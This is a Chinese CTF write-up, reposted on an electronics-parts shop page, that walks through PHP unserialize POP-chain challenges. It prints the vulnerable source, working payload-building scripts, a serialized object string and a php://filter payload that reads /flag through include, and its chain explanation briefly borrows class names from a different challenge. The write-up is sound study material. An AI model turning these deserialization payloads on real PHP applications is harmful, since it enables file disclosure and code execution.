资讯详情

pop构造链表(细节)

现在学的是如何构建链表,找链子,找链子的魔法方法一定要特别清楚

__construct() 一个对象创建时被调用, __destruct() 当一个对象被销毁时,它被调用, __toString() 当对象被调用为字符串时。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 当物体被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于读取从访问的属性读取数据 __set() 将数据写入不可访问的属性 __isset() 调用不可访问属性isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 当使用类作为字符串时,需要触发返回值 __invoke() 当脚本试图将对象调用为函数时触发

<?php error_reporting(0); show_source("index.php"); class w44m{      private $admin = 'aaa';     protected $passwd = '123456';      public function Getflag(){         if($this->admin === 'w44m' && $this->passwd ==='08067'){             include('flag.php');             echo $flag;         }else{             echo $this->admin;             echo $this->passwd;             echo 'nono';         }     } }  class w22m{     public $w00m;     public function __destruct(){         echo $this->w00m;     } }  class w33m{     public $w00m;     public $w22m;     public function __toString(){         $this->w00m->{$this->w22m}();         return 0;     } }  $w00m = $_GET['w00m']; unserialize($w00m);  ?>

首先,首先找到起点和终点,终点通常是一些执行函数,如eval,看见了include(flag.php)确定终点,起点是 _destruct

看了一圈,发现了w33m类中的__toString()有一个函数调用,类名和函数名都是变量,所以这个__toString() 就和Getflag()连接起来,向前推,触发__toString()条件是当一个对象被视为字符串时,一眼就能看到w22m中__destruct()

w22m-->>destruct w33m-->>tostring getflag构造好了

然后看见admin是private定义,直接在里面构建

<?php error_reporting(0); class w44m{     private $admin = 'w44m';     protected $passwd = '08067'; }  class w22m{     public $w00m;      }   class w33m{     public $w00m;     public $w22m;     }  $a=new w22m(); $b=new w33m(); $c=new w44m(); $a->w00m=$b; $b->w00m=$c; $b->w22m="Getflag"; echo urlencode(serialize($a));   ?>

解法二,内部结构

<?php error_reporting(0); class w44m{

private $admin = 'w44m'; protected $passwd = '08067'; }

class w22m{ public $w00m; public function __construct(){ $this->w00m=new w33m(); } }

class w33m{ public $w00m; public $w22m; public function __construct(){ $this->w00m=new w44m(); $this->w22m="Getflag"; } }

$a=new w22m(); echo urlencode(serialize($a));

?>

如果属性不是,第二果属性不是public只能在里面结构,需要改成——construct可以串通,第一个更清晰,因为这是我第一次在类前添加构造$,this前 还需要添加,否则类型不匹配,

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

因为不是public属性,所以前面的不显示,需要url加密即可

一般都是contruct然后是destruct,因为调用中的属性是执行的destruct

看另一道题

[NISACTF 2022]popchains

也是一道pop题目

Happy New Year~ MAKE A WISH <?php  echo 'Happy New Year~ MAKE A WISH<br>';  if(isset($_GET['wish'])){     @unserialize($_GET['wish']); } else{     $a=new Road_is_Long;     highlight_file(__FILE__); } /***************************pop your 2022*****************************/  class Road_is_Long{     public $page;     public $string;     public function __construct($file='index.php'){         $this->page = $file;     }     public function __toString(){         return $this->string->page;     }      public function __wakeup(){         if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {             echo "You can Not Enter 2022";             $this->page = "index.php";         }     } }  class Try_Work_Hard{     protected  $var;     public function append($value){         include($value);     }     public function __invoke(){         $this->append($this->var);     } }  class Make_a_Change{     public $effort;     public function __construct(){         $this->effort = array();     }      public function __get($key){         $function = $this->effort;         return $function();     } } /**********************Try to See flag.php*****************************/

用到的魔术方法

__construct 一个对象创建时被调用, __toString 当一个对象被调整为一个字符串时。 __wakeup()   使用unserialize时触发 __get()    用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke()   当脚本尝试将对象调用为函数时触发 

同样先找尾巴,看见了

class Try_Work_Hard{     protected  $var;     public function append($value){         include($value);     }     public function __invoke(){         $this->append($this->var);     } }

include($value)这肯定是尾巴,然后看见同类中的invoke魔术方法,里面调用了append,然后寻找龙头反序列化,那肯定是wakeup,看见wakeup里面使用了正则字符串,自动调用tostring,return $this->string->page;  string  page单别都是里面的一个属性,这样就会调用错误,然后相应——get方法,

  $function = $this->effort;         return $function();  把对象看为属性引用

自动调用 invoke,然后invoke里面调用append结束

1.__wakeup()方法通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法; 2.__toString()访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的__get()魔术方法; 3.__get()方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;

Modifier::__invoke()<--Test::__get()<--Show::__toString()

 开始构造

<?php
class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
class Road_is_Long{
    public $page;
    public $string;
}
$Road1=new Road_is_Long();
    $Road2=new Road_is_Long();
    $Make=new Make_a_Change();
    $Try=new Try_Work_Hard();
    $Road1->page=$Road2;
    $Road2->string=$Make;
    $Make->effort=$Try;
 
  echo urlencode(serialize($Road1));
?>

不知道为什么/flag就对,flag.php就不对

到此结束了,以后碰见了继续研究

# /flag和flag.php是两个完全不同的文件,

/flag是根目录下的一个flag的文件

flag.php是当前目录下的php文件,别混淆!

标签: 5w33kr电阻5w33r精密电阻

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台